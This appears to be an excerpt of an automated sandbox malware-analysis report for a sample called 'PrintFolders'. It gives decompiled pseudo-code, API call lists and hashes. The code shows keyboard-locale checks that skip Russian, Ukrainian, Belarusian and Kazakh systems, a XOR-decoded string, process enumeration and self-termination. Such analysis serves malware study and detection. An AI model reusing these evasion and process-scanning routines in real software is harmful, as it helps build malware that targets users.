                                                            • Part of subcall function 0040EEFE: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF3B
                                                            • Part of subcall function 0040EEFE: RtlWakeAllConditionVariable.NTDLL ref: 0040EFB2
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CriticalSection$ConditionEnterInfoInit_thread_footerKeyboardLayoutLeaveListLocaleVariableWake
                                                          • String ID: GO@.$|[]]$|[]]GO@.
                                                          • API String ID: 4140350330-2383573185
                                                          • Opcode ID: ec2d637ad3e7bc1ee14cb4dca0750debf56f2c276a93391e24e87bf3bab5fd92
                                                          • Instruction ID: 94e34afb144a66a85c58054fe8ab4e0848c0f8c8b7af94ec091aa244651e6c2c
                                                          • Opcode Fuzzy Hash: ec2d637ad3e7bc1ee14cb4dca0750debf56f2c276a93391e24e87bf3bab5fd92
                                                          • Instruction Fuzzy Hash: 7EE1C371D002598BDB14CF68CC847EEBBB1EF49314F14466AE405B72C2DB79AA84CF98
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 71%
                                                          			E00404F20(void* __ebx, void* __eflags) {
                                                          				char _v8;
                                                          				signed int _v12;
                                                          				char _v16;
                                                          				signed int _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				signed int _v32;
                                                          				intOrPtr _v36;
                                                          				char _v40;
                                                          				intOrPtr _v44;
                                                          				intOrPtr _v48;
                                                          				long _v52;
                                                          				char _v68;
                                                          				char _v69;
                                                          				signed int _v76;
                                                          				intOrPtr _v80;
                                                          				intOrPtr _v84;
                                                          				int _v88;
                                                          				int _v92;
                                                          				int _v108;
                                                          				signed int _v132;
                                                          				char _v272;
                                                          				char _v276;
                                                          				char _v280;
                                                          				char _v382;
                                                          				short _v384;
                                                          				int* _v400;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t86;
                                                          				signed int _t87;
                                                          				intOrPtr _t90;
                                                          				intOrPtr _t99;
                                                          				signed int _t105;
                                                          				short _t107;
                                                          				signed int _t112;
                                                          				signed int _t118;
                                                          				signed char _t124;
                                                          				signed char* _t125;
                                                          				void* _t130;
                                                          				int _t131;
                                                          				intOrPtr _t132;
                                                          				intOrPtr _t133;
                                                          				intOrPtr _t137;
                                                          				intOrPtr _t138;
                                                          				intOrPtr _t139;
                                                          				int _t143;
                                                          				void* _t147;
                                                          				signed int _t155;
                                                          				int _t156;
                                                          				void* _t157;
                                                          				char* _t159;
                                                          				signed int _t169;
                                                          				intOrPtr* _t170;
                                                          				signed char _t176;
                                                          				long _t180;
                                                          				void* _t184;
                                                          				signed char* _t185;
                                                          				intOrPtr _t187;
                                                          				void* _t188;
                                                          				int* _t189;
                                                          				void* _t190;
                                                          				char _t191;
                                                          				void* _t192;
                                                          				intOrPtr _t193;
                                                          				void* _t195;
                                                          				void* _t196;
                                                          				intOrPtr _t197;
                                                          				signed int _t198;
                                                          				signed int _t199;
                                                          				void* _t200;
                                                          				void* _t201;
                                                          				signed int _t202;
                                                          
                                                          				_push(0xffffffff);
                                                          				_push(0x42c5b5);
                                                          				_push( *[fs:0x0]);
                                                          				_t201 = _t200 - 0x5c;
                                                          				_t86 =  *0x43d054; // 0x6e36c9b5
                                                          				_t87 = _t86 ^ _t198;
                                                          				_v20 = _t87;
                                                          				_push(__ebx);
                                                          				_push(_t191);
                                                          				_push(_t87);
                                                          				 *[fs:0x0] =  &_v16;
                                                          				_t155 = 0;
                                                          				_t159 =  &_v40;
                                                          				asm("xorps xmm0, xmm0");
                                                          				_v76 = 0;
                                                          				asm("movq [ebp-0x24], xmm0");
                                                          				_v32 = 0;
                                                          				E00404D40(0, _t159); // executed
                                                          				_v8 = 0;
                                                          				_t90 = _v36;
                                                          				_t187 = _v40;
                                                          				_v80 = _t90;
                                                          				if(_t187 == _t90) {
                                                          					L27:
                                                          					_t156 = 0;
                                                          					goto L28;
                                                          				} else {
                                                          					_v28 = 0x5d5d5b7c;
                                                          					_v24 = 0x2e404f47;
                                                          					_t197 =  *((intOrPtr*)( *[fs:0x2c]));
                                                          					_v84 = _t197;
                                                          					do {
                                                          						E0040BB90(_t155,  &_v68, _t180, _t187, _t187);
                                                          						_v44 =  *((intOrPtr*)(_t187 + 0x18));
                                                          						_v8 = 1;
                                                          						_t123 =  *0x451008;
                                                          						if( *0x451008 >  *((intOrPtr*)(_t197 + 4))) {
                                                          							E0040EF48(_t123, 0x451008);
                                                          							_t201 = _t201 + 4;
                                                          							_t210 =  *0x451008 - 0xffffffff;
                                                          							if( *0x451008 == 0xffffffff) {
                                                          								_t18 =  &_v28; // 0x5d5d5b7c
                                                          								 *0x450d20 =  *_t18;
                                                          								_t19 =  &_v24; // 0x2e404f47
                                                          								 *0x450d24 =  *_t19;
                                                          								E0040F25B( &_v68, _t210, 0x42cee0);
                                                          								E0040EEFE(0x451008);
                                                          								_t201 = _t201 + 8;
                                                          							}
                                                          						}
                                                          						_t124 =  *0x450d27; // 0x0
                                                          						if(_t124 != 0) {
                                                          							 *0x450d20 =  *0x450d20 ^ 0x0000002e;
                                                          							 *0x450d21 =  *0x450d21 ^ 0x0000002e;
                                                          							 *0x450d22 =  *0x450d22 ^ 0x0000002e;
                                                          							 *0x450d23 =  *0x450d23 ^ 0x0000002e;
                                                          							 *0x450d24 =  *0x450d24 ^ 0x0000002e;
                                                          							 *0x450d25 =  *0x450d25 ^ 0x0000002e;
                                                          							 *0x450d26 =  *0x450d26 ^ 0x0000002e;
                                                          							 *0x450d27 = _t124 ^ 0x0000002e;
                                                          						}
                                                          						_t125 = 0x450d20;
                                                          						_v108 = 0;
                                                          						_v92 = 0;
                                                          						_v88 = 0xf;
                                                          						_t23 =  &(_t125[1]); // 0x450d21
                                                          						_t185 = _t23;
                                                          						do {
                                                          							_t176 =  *_t125;
                                                          							_t125 =  &(_t125[1]);
                                                          						} while (_t176 != 0);
                                                          						E004026B0(_t155,  &_v108, 0x450d20, _t125 - _t185);
                                                          						_t191 = _v68;
                                                          						_t180 = _v52;
                                                          						_v76 = _t155 | 0x00000001;
                                                          						_t156 = _v108;
                                                          						_t129 =  >=  ? _t156 :  &_v108;
                                                          						_t159 =  >=  ? _t191 :  &_v68;
                                                          						_t130 = E00402890(_t159, _t180, _t159,  >=  ? _t156 :  &_v108, _v92);
                                                          						_t201 = _t201 + 0xc;
                                                          						if(_t130 != 0xffffffff) {
                                                          							L11:
                                                          							_v69 = 1;
                                                          						} else {
                                                          							_t180 = _v52;
                                                          							_t159 =  >=  ? _t191 :  &_v68;
                                                          							_t147 = E00402890(_t159, _t180, _t159, 0x439a6c, 7);
                                                          							_t201 = _t201 + 0xc;
                                                          							_v69 = 0;
                                                          							if(_t147 != 0xffffffff) {
                                                          								goto L11;
                                                          							}
                                                          						}
                                                          						_v76 = _v76 & 0xfffffffe;
                                                          						_t131 = _v88;
                                                          						if(_t131 < 0x10) {
                                                          							L16:
                                                          							if(_v69 != 0) {
                                                          								L32:
                                                          								_t132 = _v48;
                                                          								__eflags = _t132 - 0x10;
                                                          								if(_t132 < 0x10) {
                                                          									L36:
                                                          									_t187 = _v40;
                                                          									_t156 = 1;
                                                          									L28:
                                                          									if(_t187 == 0) {
                                                          										L38:
                                                          										 *[fs:0x0] = _v16;
                                                          										_pop(_t188);
                                                          										_pop(_t192);
                                                          										_pop(_t157);
                                                          										return E0040EBBF(_t156, _t157, _v20 ^ _t198, _t180, _t188, _t192);
                                                          									} else {
                                                          										_push(_t159);
                                                          										E0040D380(_t187, _v36, _t187, _t191);
                                                          										_t193 = _v40;
                                                          										_t202 = _t201 + 4;
                                                          										_t180 = (0x92492493 * (_v32 - _t193) >> 0x20) + _v32 - _t193 >> 4;
                                                          										_t99 = _t193;
                                                          										_t169 = ((_t180 >> 0x1f) + _t180) * 8 - (_t180 >> 0x1f) + _t180 << 2;
                                                          										if(_t169 < 0x1000) {
                                                          											L37:
                                                          											_push(_t169);
                                                          											E0040EDFF(_t193);
                                                          											goto L38;
                                                          										} else {
                                                          											_t193 =  *((intOrPtr*)(_t193 - 4));
                                                          											_t169 = _t169 + 0x23;
                                                          											if(_t99 - _t193 + 0xfffffffc > 0x1f) {
                                                          												E00413527(_t156, _t180, __eflags);
                                                          												goto L40;
                                                          											} else {
                                                          												goto L37;
                                                          											}
                                                          										}
                                                          									}
                                                          								} else {
                                                          									_t65 = _t132 + 1; // 0x11
                                                          									_t159 = _t65;
                                                          									_t133 = _t191;
                                                          									__eflags = _t159 - 0x1000;
                                                          									if(_t159 < 0x1000) {
                                                          										L35:
                                                          										_push(_t159);
                                                          										E0040EDFF(_t191);
                                                          										_t201 = _t201 + 8;
                                                          										goto L36;
                                                          									} else {
                                                          										_t193 =  *((intOrPtr*)(_t191 - 4));
                                                          										_t169 = _t159 + 0x23;
                                                          										__eflags = _t133 - _t193 + 0xfffffffc - 0x1f;
                                                          										if(__eflags > 0) {
                                                          											goto L40;
                                                          										} else {
                                                          											goto L35;
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								_t137 = _v44;
                                                          								if(_t137 == 0x419 || _t137 == 0x422 || _t137 == 0x423 || _t137 == 0x43f) {
                                                          									goto L32;
                                                          								} else {
                                                          									_v8 = 0;
                                                          									_t138 = _v48;
                                                          									if(_t138 < 0x10) {
                                                          										goto L25;
                                                          									} else {
                                                          										_t49 = _t138 + 1; // 0x11
                                                          										_t159 = _t49;
                                                          										_t139 = _t191;
                                                          										if(_t159 < 0x1000) {
                                                          											L24:
                                                          											_push(_t159);
                                                          											E0040EDFF(_t191);
                                                          											_t201 = _t201 + 8;
                                                          											goto L25;
                                                          										} else {
                                                          											_t193 =  *((intOrPtr*)(_t191 - 4));
                                                          											_t169 = _t159 + 0x23;
                                                          											if(_t139 - _t193 + 0xfffffffc > 0x1f) {
                                                          												goto L40;
                                                          											} else {
                                                          												goto L24;
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t42 = _t131 + 1; // 0x11
                                                          							_t159 = _t42;
                                                          							_t143 = _t156;
                                                          							if(_t159 < 0x1000) {
                                                          								L15:
                                                          								_push(_t159);
                                                          								E0040EDFF(_t156);
                                                          								_t191 = _v68;
                                                          								_t201 = _t201 + 8;
                                                          								goto L16;
                                                          							} else {
                                                          								_t156 =  *(_t156 - 4);
                                                          								_t169 = _t159 + 0x23;
                                                          								if(_t143 - _t156 + 0xfffffffc > 0x1f) {
                                                          									L40:
                                                          									E00413527(_t156, _t180, __eflags);
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									_push(_t198);
                                                          									_t199 = _t202;
                                                          									_t105 =  *0x43d054; // 0x6e36c9b5
                                                          									_v132 = _t105 ^ _t199;
                                                          									_push(_t193);
                                                          									_push(_t187);
                                                          									_t189 = _t169;
                                                          									_v400 = _t189;
                                                          									_v400 = _t189;
                                                          									_t107 =  *0x439a7c; // 0x3e
                                                          									asm("movq xmm0, [0x439a74]");
                                                          									_v384 = _t107;
                                                          									asm("movq [ebp-0x108], xmm0");
                                                          									E00410B00(_t189,  &_v382, 0, 0xfa);
                                                          									_t195 = OpenProcess(0x410, 0, _t180);
                                                          									__eflags = _t195;
                                                          									if(_t195 != 0) {
                                                          										_t118 =  &_v280;
                                                          										__imp__K32EnumProcessModules(_t195, _t118, 4,  &_v276); // executed
                                                          										__eflags = _t118;
                                                          										if(_t118 != 0) {
                                                          											__imp__K32GetModuleBaseNameA(_t195, _v280,  &_v272, 0x104); // executed
                                                          										}
                                                          									}
                                                          									FindCloseChangeNotification(_t195); // executed
                                                          									_t170 =  &_v272;
                                                          									 *_t189 = 0;
                                                          									_t189[4] = 0;
                                                          									_t184 = _t170 + 1;
                                                          									_t189[5] = 0xf;
                                                          									 *_t189 = 0;
                                                          									do {
                                                          										_t112 =  *_t170;
                                                          										_t170 = _t170 + 1;
                                                          										__eflags = _t112;
                                                          									} while (_t112 != 0);
                                                          									E004026B0(_t156, _t189,  &_v272, _t170 - _t184);
                                                          									_pop(_t190);
                                                          									__eflags = _v12 ^ _t199;
                                                          									_pop(_t196);
                                                          									return E0040EBBF(_t189, _t156, _v12 ^ _t199, _t184, _t190, _t196);
                                                          								} else {
                                                          									goto L15;
                                                          								}
                                                          							}
                                                          						}
                                                          						goto L47;
                                                          						L25:
                                                          						_t155 = _v76;
                                                          						_t187 = _t187 + 0x1c;
                                                          						_t197 = _v84;
                                                          					} while (_t187 != _v80);
                                                          					_t187 = _v40;
                                                          					goto L27;
                                                          				}
                                                          				L47:
                                                          			}













































































                                                          0x00404f23
                                                          0x00404f25
                                                          0x00404f30
                                                          0x00404f31
                                                          0x00404f34
                                                          0x00404f39
                                                          0x00404f3b
                                                          0x00404f3e
                                                          0x00404f3f
                                                          0x00404f41
                                                          0x00404f45
                                                          0x00404f4b
                                                          0x00404f4d
                                                          0x00404f50
                                                          0x00404f53
                                                          0x00404f56
                                                          0x00404f5b
                                                          0x00404f5e
                                                          0x00404f63
                                                          0x00404f66
                                                          0x00404f69
                                                          0x00404f6c
                                                          0x00404f71
                                                          0x00405185
                                                          0x00405185
                                                          0x00000000
                                                          0x00404f77
                                                          0x00404f7d
                                                          0x00404f84
                                                          0x00404f8b
                                                          0x00404f8d
                                                          0x00404f90
                                                          0x00404f94
                                                          0x00404f9c
                                                          0x00404f9f
                                                          0x00404fa3
                                                          0x00404fae
                                                          0x00404fb5
                                                          0x00404fba
                                                          0x00404fbd
                                                          0x00404fc4
                                                          0x00404fc6
                                                          0x00404fc9
                                                          0x00404fce
                                                          0x00404fd6
                                                          0x00404fdb
                                                          0x00404fe8
                                                          0x00404fed
                                                          0x00404fed
                                                          0x00404fc4
                                                          0x00404ff0
                                                          0x00404ff7
                                                          0x00404ff9
                                                          0x00405000
                                                          0x00405007
                                                          0x0040500e
                                                          0x00405015
                                                          0x0040501c
                                                          0x00405023
                                                          0x0040502c
                                                          0x0040502c
                                                          0x00405031
                                                          0x00405036
                                                          0x0040503d
                                                          0x00405044
                                                          0x0040504b
                                                          0x0040504b
                                                          0x00405050
                                                          0x00405050
                                                          0x00405052
                                                          0x00405053
                                                          0x00405062
                                                          0x0040506a
                                                          0x00405070
                                                          0x0040507d
                                                          0x00405080
                                                          0x00405083
                                                          0x0040508b
                                                          0x0040508f
                                                          0x00405094
                                                          0x0040509a
                                                          0x004050c2
                                                          0x004050c2
                                                          0x0040509c
                                                          0x004050a3
                                                          0x004050a8
                                                          0x004050b1
                                                          0x004050b6
                                                          0x004050b9
                                                          0x004050c0
                                                          0x00000000
                                                          0x00000000
                                                          0x004050c0
                                                          0x004050c6
                                                          0x004050ca
                                                          0x004050d0
                                                          0x00405100
                                                          0x00405104
                                                          0x004051e0
                                                          0x004051e0
                                                          0x004051e3
                                                          0x004051e6
                                                          0x0040520f
                                                          0x0040520f
                                                          0x00405212
                                                          0x00405187
                                                          0x00405189
                                                          0x00405226
                                                          0x0040522b
                                                          0x00405233
                                                          0x00405234
                                                          0x00405235
                                                          0x00405243
                                                          0x0040518f
                                                          0x00405192
                                                          0x00405195
                                                          0x004051a2
                                                          0x004051a5
                                                          0x004051ae
                                                          0x004051c1
                                                          0x004051c3
                                                          0x004051cc
                                                          0x0040521c
                                                          0x0040521c
                                                          0x0040521e
                                                          0x00000000
                                                          0x004051ce
                                                          0x004051ce
                                                          0x004051d1
                                                          0x004051dc
                                                          0x00405244
                                                          0x00000000
                                                          0x004051de
                                                          0x00000000
                                                          0x004051de
                                                          0x004051dc
                                                          0x004051cc
                                                          0x004051e8
                                                          0x004051e8
                                                          0x004051e8
                                                          0x004051eb
                                                          0x004051ed
                                                          0x004051f3
                                                          0x00405205
                                                          0x00405205
                                                          0x00405207
                                                          0x0040520c
                                                          0x00000000
                                                          0x004051f5
                                                          0x004051f5
                                                          0x004051f8
                                                          0x00405200
                                                          0x00405203
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00405203
                                                          0x004051f3
                                                          0x0040510a
                                                          0x0040510a
                                                          0x00405112
                                                          0x00000000
                                                          0x00405139
                                                          0x00405139
                                                          0x0040513d
                                                          0x00405143
                                                          0x00000000
                                                          0x00405145
                                                          0x00405145
                                                          0x00405145
                                                          0x00405148
                                                          0x00405150
                                                          0x00405166
                                                          0x00405166
                                                          0x00405168
                                                          0x0040516d
                                                          0x00000000
                                                          0x00405152
                                                          0x00405152
                                                          0x00405155
                                                          0x00405160
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00405160
                                                          0x00405150
                                                          0x00405143
                                                          0x00405112
                                                          0x004050d2
                                                          0x004050d2
                                                          0x004050d2
                                                          0x004050d5
                                                          0x004050dd
                                                          0x004050f3
                                                          0x004050f3
                                                          0x004050f5
                                                          0x004050fa
                                                          0x004050fd
                                                          0x00000000
                                                          0x004050df
                                                          0x004050df
                                                          0x004050e2
                                                          0x004050ed
                                                          0x00405249
                                                          0x00405249
                                                          0x0040524e
                                                          0x0040524f
                                                          0x00405250
                                                          0x00405251
                                                          0x00405259
                                                          0x00405260
                                                          0x00405263
                                                          0x00405264
                                                          0x00405265
                                                          0x00405269
                                                          0x0040526f
                                                          0x00405275
                                                          0x0040527b
                                                          0x00405288
                                                          0x00405298
                                                          0x004052a0
                                                          0x004052b6
                                                          0x004052b8
                                                          0x004052ba
                                                          0x004052c5
                                                          0x004052cd
                                                          0x004052d3
                                                          0x004052d5
                                                          0x004052ea
                                                          0x004052ea
                                                          0x004052d5
                                                          0x004052f1
                                                          0x004052f7
                                                          0x004052fd
                                                          0x00405303
                                                          0x0040530a
                                                          0x0040530d
                                                          0x00405314
                                                          0x00405317
                                                          0x00405317
                                                          0x00405319
                                                          0x0040531a
                                                          0x0040531a
                                                          0x0040532a
                                                          0x00405334
                                                          0x00405335
                                                          0x00405337
                                                          0x00405340
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004050ed
                                                          0x004050dd
                                                          0x00000000
                                                          0x00405170
                                                          0x00405170
                                                          0x00405173
                                                          0x00405176
                                                          0x00405179
                                                          0x00405182
                                                          0x00000000
                                                          0x00405182
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 00404D40: GetKeyboardLayoutList.USER32(00000400,?,6E36C9B5), ref: 00404DD8
                                                            • Part of subcall function 00404D40: GetLocaleInfoA.KERNEL32(?,00000002,?,000001F4), ref: 00404E0D
                                                            • Part of subcall function 0040EF48: EnterCriticalSection.KERNEL32(004504FC,00450D8D,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EF53
                                                            • Part of subcall function 0040EF48: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EF90
                                                          • __Init_thread_footer.LIBCMT ref: 00404FE8
                                                            • Part of subcall function 0040EEFE: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF08
                                                            • Part of subcall function 0040EEFE: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF3B
                                                            • Part of subcall function 0040EEFE: RtlWakeAllConditionVariable.NTDLL ref: 0040EFB2
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CriticalSection$EnterLeave$ConditionInfoInit_thread_footerKeyboardLayoutListLocaleVariableWake
                                                          • String ID: GO@.$|[]]$|[]]GO@.
                                                          • API String ID: 960455753-2383573185
                                                          • Opcode ID: 58e962a3c83b38df1713b6c3c7ae518e95050e33851920dfad0a4c97fcebbe43
                                                          • Instruction ID: 3f3761a2ce6209ac4365e9edb3218e4554d877b29476edc6aaeebbc4e421452e
                                                          • Opcode Fuzzy Hash: 58e962a3c83b38df1713b6c3c7ae518e95050e33851920dfad0a4c97fcebbe43
                                                          • Instruction Fuzzy Hash: F581B375D002598BDB14DFA8D8857AFBBB0EF09314F54027AE401BB3D2D778A948CB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 54%
                                                          			E00405350(void* __ebx, int* _a4, long _a24) {
                                                          				signed int _v8;
                                                          				signed int _v12;
                                                          				char _v272;
                                                          				void* _v308;
                                                          				signed int _v340;
                                                          				int* _v604;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t23;
                                                          				void* _t25;
                                                          				int _t27;
                                                          				int* _t31;
                                                          				signed int _t36;
                                                          				signed int _t39;
                                                          				void* _t49;
                                                          				int _t51;
                                                          				void* _t53;
                                                          				void* _t54;
                                                          				int* _t57;
                                                          				intOrPtr* _t58;
                                                          				long _t63;
                                                          				void* _t64;
                                                          				void* _t65;
                                                          				void* _t66;
                                                          				void* _t67;
                                                          				void* _t68;
                                                          				void* _t70;
                                                          				void* _t71;
                                                          				int* _t72;
                                                          				void* _t73;
                                                          				signed int _t74;
                                                          				signed int _t75;
                                                          				signed int _t76;
                                                          
                                                          				_t23 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t23 ^ _t74;
                                                          				_push(__ebx);
                                                          				_push(_t65);
                                                          				_t25 = CreateToolhelp32Snapshot(0xf, 0); // executed
                                                          				_t70 = _t25;
                                                          				_v308 = 0x128;
                                                          				_t27 = Process32First(_t70,  &_v308); // executed
                                                          				if(_t27 == 0) {
                                                          					L4:
                                                          					FindCloseChangeNotification(_t70); // executed
                                                          					_t53 = 0;
                                                          				} else {
                                                          					_t65 = Process32Next;
                                                          					while(1) {
                                                          						_t47 =  >=  ? _a4 :  &_a4;
                                                          						_t49 = E004101E0( &_v272,  >=  ? _a4 :  &_a4);
                                                          						_t76 = _t76 + 8;
                                                          						if(_t49 != 0) {
                                                          							break;
                                                          						}
                                                          						_t51 = Process32Next(_t70,  &_v308); // executed
                                                          						if(_t51 != 0) {
                                                          							continue;
                                                          						} else {
                                                          							goto L4;
                                                          						}
                                                          						goto L5;
                                                          					}
                                                          					_t53 = 1;
                                                          				}
                                                          				L5:
                                                          				_t63 = _a24;
                                                          				if(_t63 < 0x10) {
                                                          					L11:
                                                          					_pop(_t66);
                                                          					_pop(_t71);
                                                          					_pop(_t54);
                                                          					return E0040EBBF(_t53, _t54, _v8 ^ _t74, _t63, _t66, _t71);
                                                          				} else {
                                                          					_t57 = _a4;
                                                          					_t63 = _t63 + 1;
                                                          					_t31 = _t57;
                                                          					if(_t63 < 0x1000) {
                                                          						L10:
                                                          						_push(_t63);
                                                          						E0040EDFF(_t57);
                                                          						goto L11;
                                                          					} else {
                                                          						_t57 =  *(_t57 - 4);
                                                          						_t63 = _t63 + 0x23;
                                                          						if(_t31 - _t57 + 0xfffffffc > 0x1f) {
                                                          							E00413527(_t53, _t63, __eflags);
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							_push(_t74);
                                                          							_t75 = _t76;
                                                          							_t36 =  *0x43d054; // 0x6e36c9b5
                                                          							_v340 = _t36 ^ _t75;
                                                          							_push(_t70);
                                                          							_push(_t65);
                                                          							_t72 = _t57;
                                                          							_v604 = _t72;
                                                          							_v604 = _t72;
                                                          							_t67 = OpenProcess(0x410, 0, _t63);
                                                          							__eflags = _t67;
                                                          							if(_t67 != 0) {
                                                          								__imp__K32GetModuleFileNameExA(_t67, 0,  &_v272, 0x104); // executed
                                                          								FindCloseChangeNotification(_t67); // executed
                                                          							}
                                                          							_t58 =  &_v272;
                                                          							 *_t72 = 0;
                                                          							_t72[4] = 0;
                                                          							_t64 = _t58 + 1;
                                                          							_t72[5] = 0xf;
                                                          							 *_t72 = 0;
                                                          							do {
                                                          								_t39 =  *_t58;
                                                          								_t58 = _t58 + 1;
                                                          								__eflags = _t39;
                                                          							} while (_t39 != 0);
                                                          							E004026B0(_t53, _t72,  &_v272, _t58 - _t64);
                                                          							_pop(_t68);
                                                          							__eflags = _v12 ^ _t75;
                                                          							_pop(_t73);
                                                          							return E0040EBBF(_t72, _t53, _v12 ^ _t75, _t64, _t68, _t73);
                                                          						} else {
                                                          							goto L10;
                                                          						}
                                                          					}
                                                          				}
                                                          			}





































                                                          0x00405359
                                                          0x00405360
                                                          0x00405363
                                                          0x00405365
                                                          0x0040536a
                                                          0x00405370
                                                          0x00405372
                                                          0x00405384
                                                          0x0040538c
                                                          0x004053c1
                                                          0x004053c2
                                                          0x004053c8
                                                          0x0040538e
                                                          0x0040538e
                                                          0x00405394
                                                          0x0040539b
                                                          0x004053a7
                                                          0x004053ac
                                                          0x004053b1
                                                          0x00000000
                                                          0x00000000
                                                          0x004053bb
                                                          0x004053bf
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004053bf
                                                          0x004053f2
                                                          0x004053f2
                                                          0x004053ca
                                                          0x004053ca
                                                          0x004053d0
                                                          0x00405400
                                                          0x00405405
                                                          0x00405406
                                                          0x00405409
                                                          0x00405412
                                                          0x004053d2
                                                          0x004053d2
                                                          0x004053d5
                                                          0x004053d6
                                                          0x004053de
                                                          0x004053f6
                                                          0x004053f6
                                                          0x004053f8
                                                          0x00000000
                                                          0x004053e0
                                                          0x004053e0
                                                          0x004053e3
                                                          0x004053ee
                                                          0x00405413
                                                          0x00405418
                                                          0x00405419
                                                          0x0040541a
                                                          0x0040541b
                                                          0x0040541c
                                                          0x0040541d
                                                          0x0040541e
                                                          0x0040541f
                                                          0x00405420
                                                          0x00405421
                                                          0x00405429
                                                          0x00405430
                                                          0x00405433
                                                          0x00405434
                                                          0x00405436
                                                          0x0040543a
                                                          0x00405445
                                                          0x00405451
                                                          0x00405453
                                                          0x00405455
                                                          0x00405466
                                                          0x0040546d
                                                          0x0040546d
                                                          0x00405473
                                                          0x00405479
                                                          0x0040547f
                                                          0x00405486
                                                          0x00405489
                                                          0x00405490
                                                          0x00405493
                                                          0x00405493
                                                          0x00405495
                                                          0x00405496
                                                          0x00405496
                                                          0x004054a6
                                                          0x004054b0
                                                          0x004054b1
                                                          0x004054b3
                                                          0x004054bc
                                                          0x004053f0
                                                          0x00000000
                                                          0x004053f0
                                                          0x004053ee
                                                          0x004053de

                                                          APIs
                                                          • CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0040536A
                                                          • Process32First.KERNEL32(00000000,00000128), ref: 00405384
                                                          • Process32Next.KERNEL32 ref: 004053BB
                                                          • FindCloseChangeNotification.KERNEL32(00000000,?,?), ref: 004053C2
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32
                                                          • String ID:
                                                          • API String ID: 3243318325-0
                                                          • Opcode ID: 8135d8b86f741ced22b6e495a0d61fe9958d4fa32e71604d153aa300f03aaae6
                                                          • Instruction ID: 5e486a24114f457a1f86916b08eb67cf77cbee6b56fc5b3387bb74bba5914992
                                                          • Opcode Fuzzy Hash: 8135d8b86f741ced22b6e495a0d61fe9958d4fa32e71604d153aa300f03aaae6
                                                          • Instruction Fuzzy Hash: 7C21F031200118ABDB20DF26DD45BEF37A9EB45345F50057AE805E6281EB78DA82CFA8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00417BAF(int _a4) {
                                                          				void* _t14;
                                                          
                                                          				if(E0042041F(_t14) != 1 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
                                                          					TerminateProcess(GetCurrentProcess(), _a4);
                                                          				}
                                                          				E00417BF1(_t14, _a4);
                                                          				ExitProcess(_a4);
                                                          			}




                                                          0x00417bbc
                                                          0x00417bd8
                                                          0x00417bd8
                                                          0x00417be1
                                                          0x00417bea

                                                          APIs
                                                          • GetCurrentProcess.KERNEL32(0041CC1F,?,00417BAE,00000000,?,0041CC1F,00000000,0041CC1F), ref: 00417BD1
                                                          • TerminateProcess.KERNEL32(00000000,?,00417BAE,00000000,?,0041CC1F,00000000,0041CC1F), ref: 00417BD8
                                                          • ExitProcess.KERNEL32 ref: 00417BEA
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Process$CurrentExitTerminate
                                                          • String ID:
